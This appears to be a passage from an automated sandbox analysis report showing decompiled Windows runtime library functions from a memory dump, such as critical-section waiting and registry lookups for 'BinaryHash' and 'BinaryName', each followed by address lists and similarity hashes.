										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E04687D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E046E7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E046FFDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x4755350;
							if(_t109 != 0x4755350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E046FFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E046F5720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x04662d8a
0x04662d8a
0x04662d92
0x04662d96
0x04662d9e
0x04662da0
0x04662da3
0x04662da5
0x04662da8
0x04662dab
0x04662db2
0x046bf9aa
0x046bf9ab
0x046bf9ae
0x046bf9ae
0x04662db8
0x04662dc2
0x046bf9b9
0x046bf9be
0x046bf9bf
0x046bf9bf
0x04662dcf
0x046bf9c9
0x04662dd5
0x04662dd5
0x04662dd5
0x04662dde
0x04662de1
0x04662e70
0x04662e72
0x04662e72
0x04662de7
0x04662deb
0x04662e7c
0x04662e83
0x04662e85
0x04662e8b
0x04662e8d
0x04662e92
0x04662e92
0x04662e85
0x04662df1
0x04662df7
0x04662df9
0x04662df9
0x04662dfc
0x04662dff
0x04662e02
0x00000000
0x04662e05
0x04662e0c
0x046bf9d9
0x04662e12
0x04662e12
0x04662e12
0x04662e1a
0x046bf9e3
0x046bf9e9
0x046bf9f0
0x046bf9f6
0x046bf9f8
0x046bf9f8
0x046bf9f0
0x04662e23
0x046bfa02
0x046bfa03
0x046bfa05
0x046bfa06
0x00000000
0x04662e29
0x04662e29
0x04662e2e
0x04662e34
0x04662e3e
0x00000000
0x00000000
0x04662e44
0x04662e47
0x04662e4d
0x00000000
0x00000000
0x04662e4f
0x04662e54
0x00000000
0x00000000
0x04662e5a
0x04662e5f
0x04662e9a
0x04662ea4
0x04662ea5
0x04662ea8
0x04662eaf
0x04662eb2
0x04662eb5
0x046bfae9
0x046bfaeb
0x046bfaed
0x046bfaef
0x046bfaf7
0x046bfaf8
0x046bfafd
0x046bfaff
0x046bfb04
0x046bfb04
0x046bfaff
0x04662ec0
0x04662ec4
0x04662ec6
0x04662ec8
0x046bfb14
0x046bfb18
0x046bfb1e
0x046bfb21
0x046bfb21
0x04662ece
0x04662ece
0x04662ece
0x04662ed7
0x04662e61
0x04662e63
0x046bfa6b
0x046bfa71
0x046bfa76
0x046bfa78
0x046bfa8a
0x046bfa7a
0x046bfa83
0x046bfa83
0x046bfa8f
0x046bfa91
0x046bfa97
0x046bfa9d
0x046bfaa4
0x046bfaaa
0x046bfaaf
0x046bfab1
0x046bfac3
0x046bfab3
0x046bfabc
0x046bfabc
0x046bfac8
0x046bfacb
0x046bfadf
0x046bfadf
0x046bfacb
0x046bfaa4
0x046bfa91
0x04662e6f
0x04662e6f
0x04662e5f
0x046bfa13
0x046bfa15
0x046bfa17
0x046bfa1f
0x046bfa21
0x046bfa22
0x046bfa25
0x046bfa28
0x046bfa2f
0x046bfa2f
0x046bfa2a
0x046bfa2a
0x046bfa2a
0x046bfa31
0x046bfa34
0x046bfa36
0x046bfa3c
0x046bfa3e
0x046bfa41
0x046bfa43
0x046bfa45
0x046bfa45
0x046bfa41
0x046bfa3c
0x046bfa4a
0x046bfa4f
0x046bfa51
0x046bfa53
0x046bfa56
0x046bfa5b
0x046bfa5e
0x00000000
0x046bfa5e
0x04662e23

Strings

RTL: Re-Waiting, xrefs: 046BFA4A

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 73e43697101606315ae4176a399dcb47d73e3de25dbe73450b18e03d9acb72bc
Instruction ID: c181233fc21c177521bc6bf8e063086dae4f4359b311161a7f37666996f58339
Opcode Fuzzy Hash: 73e43697101606315ae4176a399dcb47d73e3de25dbe73450b18e03d9acb72bc
Instruction Fuzzy Hash: D2612670A00604EBEB29EF68CC50BBE77A5EB40314F1446AAD852973D0F774B9818791

Uniqueness

Uniqueness Score: -1.00%

Function 04730EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E04730EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E0472FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E04731074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E046A9730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E0472A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E0472A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x4758b04 >> 0x14) + (_v44 -  *0x4758b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E04687D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0472138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E04687D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0471FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x4758724 & 0x00000008) != 0) {
						E047252F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E047315B5(0x4758ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x04730eb7
0x04730eb9
0x04730ec0
0x04730ec2
0x04730ecd
0x0473105b
0x0473105b
0x04731061
0x04731066
0x04731066
0x0473106b
0x04731073
0x04731073
0x04730ed3
0x04730ed6
0x04730edc
0x04730ee0
0x04730ee7
0x04730ef0
0x04730ef5
0x04730efa
0x04730efc
0x04730efd
0x04730f03
0x04730f04
0x04730f06
0x04730f07
0x04730f09
0x04730f0e
0x04730f14
0x04730f23
0x04730f2d
0x04730f34
0x04730f34
0x04730f14
0x04730f52
0x00000000
0x00000000
0x04730f58
0x04730f73
0x04730f74
0x04730f79
0x04730f7d
0x04730f80
0x04730f86
0x04730fab
0x04730fb5
0x04730fc6
0x04730fd1
0x04730fe3
0x04730fd3
0x04730fdc
0x04730fdc
0x04730feb
0x04731009
0x04731009
0x04731015
0x04731027
0x04731017
0x04731020
0x04731020
0x0473102f
0x0473103c
0x0473103c
0x04731048
0x04731050
0x04731050
0x04731055
0x00000000
0x04731055
0x04730f88
0x04730f9e
0x04730fa2
0x04730fa9
0x00000000
0x00000000
0x00000000
0x04730fa9
0x00000000

Strings

`, xrefs: 04730F16

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 4e5a6ba3622b44492e7e6d76a18d34278f635f8c1e87d035c33653d1b25831cf
Instruction ID: 976bca4465ffc0a778c59e40cc51c8912ae293b9c07fb7f41a3230460843da33
Opcode Fuzzy Hash: 4e5a6ba3622b44492e7e6d76a18d34278f635f8c1e87d035c33653d1b25831cf
Instruction Fuzzy Hash: 0551BF702083829FE325DF28D984B2BB7E9EBC4305F04492DF99697392D671F805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0469F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0469F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E04684120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E046A9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E046A9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E046A95D0();
							goto L11;
						} else {
							_t109 = L04684620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E046AF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E046A95D0();
										L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x0469f0d3
0x0469f0d9
0x0469f0e0
0x0469f0e7
0x0469f0f2
0x0469f0f4
0x0469f0f8
0x0469f100
0x0469f108
0x0469f10d
0x0469f115
0x0469f116
0x0469f11f
0x0469f123
0x0469f124
0x0469f12c
0x0469f130
0x0469f134
0x0469f13d
0x0469f144
0x0469f14b
0x0469f152
0x046dbab0
0x046dbab0
0x0469f158
0x0469f158
0x0469f15a
0x0469f160
0x0469f165
0x0469f166
0x0469f16f
0x0469f173
0x046dbaa7
0x046dbaa7
0x046dbaab
0x00000000
0x0469f179
0x0469f18d
0x0469f191
0x046dbaa2
0x00000000
0x0469f197
0x0469f19b
0x0469f1a2
0x0469f1a9
0x0469f1af
0x0469f1b2
0x0469f1b6
0x0469f1b9
0x0469f1c4
0x0469f1d8
0x0469f1df
0x0469f1e3
0x0469f1eb
0x0469f1ee
0x0469f1f4
0x0469f20f
0x046dbab7
0x046dbabb
0x046dbacc
0x046dbad1
0x0469f215
0x0469f218
0x0469f226
0x0469f22b
0x00000000
0x0469f22b
0x0469f1f6
0x0469f1f6
0x0469f1f9
0x0469f1fb
0x0469f1fb
0x0469f1f4
0x0469f191
0x0469f173
0x0469f152
0x0469f203

Strings

@, xrefs: 0469F124

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 950e7fa311e9a741e993b039424411548e4b0ad22edc7c7e0f0e850245389fbe
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: A7516871604710AFD320DF29C840A6BBBE8FF48B14F118A2EF99587690F7B4E914CB95

Uniqueness

Uniqueness Score: -1.00%

Function 046E3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E046E3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x475d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E046A0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E046E3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E046AFA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E046E3540;
						E046AFA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E046BDDD0( &_v1072, _t75, _t79, _t80, _t81);
						E046F0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E046A97C0();
					}
					return E046AB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E046E3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E046E3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E046AFA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E046A9650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E046E3787(_a4,  &_v352, _t80);
						}
					}
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E046A95D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x046e3552
0x046e355a
0x046e355d
0x046e3566
0x046e3567
0x046e357e
0x046e358f
0x046e35a1
0x046e35a5
0x046e366b
0x046e366b
0x046e366d
0x046e3672
0x046e3679
0x046e3685
0x046e368d
0x046e369d
0x046e36a7
0x046e36b8
0x046e36c6
0x046e36c7
0x046e36dc
0x046e36e1
0x046e36e7
0x046e36e9
0x046e36e9
0x046e3703
0x046e3703
0x046e35b5
0x046e35c0
0x046e35c4
0x00000000
0x00000000
0x046e35ca
0x046e35d7
0x046e35e2
0x046e35e6
0x046e35e8
0x046e35f5
0x046e35fa
0x046e3603
0x046e3604
0x046e3609
0x046e360a
0x046e3612
0x046e3613
0x046e361e
0x046e3622
0x046e3628
0x046e362f
0x046e362f
0x046e3636
0x046e3638
0x046e363b
0x046e3642
0x046e3642
0x046e3636
0x046e3657
0x046e3657
0x046e365c
0x046e3662
0x046e3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 046E358F

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryHash
API String ID: 2994545307-2202222882
Opcode ID: e2183e7258326b184b4fbe74c10d2bbdb4aa02563a12d6a3f3152832d705d032
Instruction ID: 8c8cdac2f44ffb6b4679f351d0f889fd5efd94252a17244f9af405055fad41a9
Opcode Fuzzy Hash: e2183e7258326b184b4fbe74c10d2bbdb4aa02563a12d6a3f3152832d705d032
Instruction Fuzzy Hash: 1E414BF1D0151C9BEB21DA51CC41FEEB77C9B44718F0045A9EA0967240EB31AE89CF99

Uniqueness

Uniqueness Score: -1.00%

Function 047305AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E047305AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E047307DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E046A9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E0472A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E0472A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E04731293(_t79, _v40, E047307DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E04687D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E0472138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x047305c5
0x047305ca
0x047305d3
0x047306db
0x047306db
0x047306dd
0x047306e3
0x047306e3
0x047305dd
0x047305e7
0x047305f6
0x04730600
0x04730607
0x04730610
0x04730615
0x0473061a
0x0473061c
0x0473061e
0x04730624
0x04730625
0x04730627
0x04730628
0x04730631
0x04730640
0x0473064d
0x04730654
0x04730654
0x04730631
0x0473066d
0x04730674
0x00000000
0x00000000
0x04730692
0x0473069e
0x047306b0
0x047306a0
0x047306a9
0x047306a9
0x047306b8
0x047306d6
0x047306d6
0x00000000

Strings

`, xrefs: 04730633

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 7183ea83e47d47f7c56b66d2c534984f84943af50f8f85fb3544afac1fa54927
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: AC31F132304395ABE720DE25CD84F9B77D9EB84758F044229F958AB389E670F914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 046E3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E046E3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E046A9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L04684620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E046A9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x046e3893
0x046e3896
0x046e3899
0x046e389f
0x046e38a0
0x046e38a4
0x046e38a9
0x046e38ac
0x046e38ad
0x046e38ae
0x046e38af
0x046e38b1
0x046e38b4
0x046e38bb
0x046e38bc
0x046e38bd
0x046e38c4
0x046e38c8
0x046e38ca
0x046e38ca
0x046e38d5
0x046e393e
0x046e3940
0x046e3942
0x046e3952
0x046e3954
0x046e3961
0x046e3961
0x046e3967
0x046e396e
0x046e396e
0x046e3947
0x046e394c
0x00000000
0x046e394c
0x046e38ea
0x046e38ee
0x046e38f8
0x046e38f9
0x046e38ff
0x046e3900
0x046e3902
0x046e3903
0x046e390b
0x046e390f
0x046e3950
0x00000000
0x046e3950
0x046e3915
0x046e391d
0x046e391d
0x046e3922
0x046e3926
0x00000000
0x046e3928
0x046e392b
0x046e392b
0x046e3935
0x046e3937
0x046e3937
0x00000000
0x046e3935
0x046e3926
0x046e38f0
0x00000000

Strings

BinaryName, xrefs: 046E38B4

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryName
API String ID: 2994545307-215506332
Opcode ID: f821689209c25f3d182bdac92d8e1eebe0ea81fb5cd1bfd92fdc03c69c37d58e
Instruction ID: af40b34b11a9a1f0f74c398cdd4a5defc6ca08653423dd2c03ec575a522bcddb
Opcode Fuzzy Hash: f821689209c25f3d182bdac92d8e1eebe0ea81fb5cd1bfd92fdc03c69c37d58e
Instruction Fuzzy Hash: 9A310472902509AFEB15DA5AC945D7BB7B4EB80720F114169EE14A7740F730AE41C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0469D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0469D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x475d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E04684120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E046AB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E046A98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E046A95D0();
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x0469d29c
0x0469d2a6
0x0469d2b1
0x0469d2b5
0x0469d2b6
0x0469d2bc
0x0469d2bd
0x0469d2be
0x0469d2bf
0x0469d2c2
0x0469d2c4
0x0469d2cc
0x0469d384
0x0469d34b
0x0469d34f
0x0469d350
0x0469d351
0x0469d35c
0x0469d35c
0x0469d2d6
0x0469d2da
0x0469d2e1
0x0469d361
0x0469d369
0x0469d36d
0x0469d2e3
0x0469d2e3
0x0469d2e3
0x0469d2e5
0x0469d2ed
0x0469d2f5
0x0469d2fa
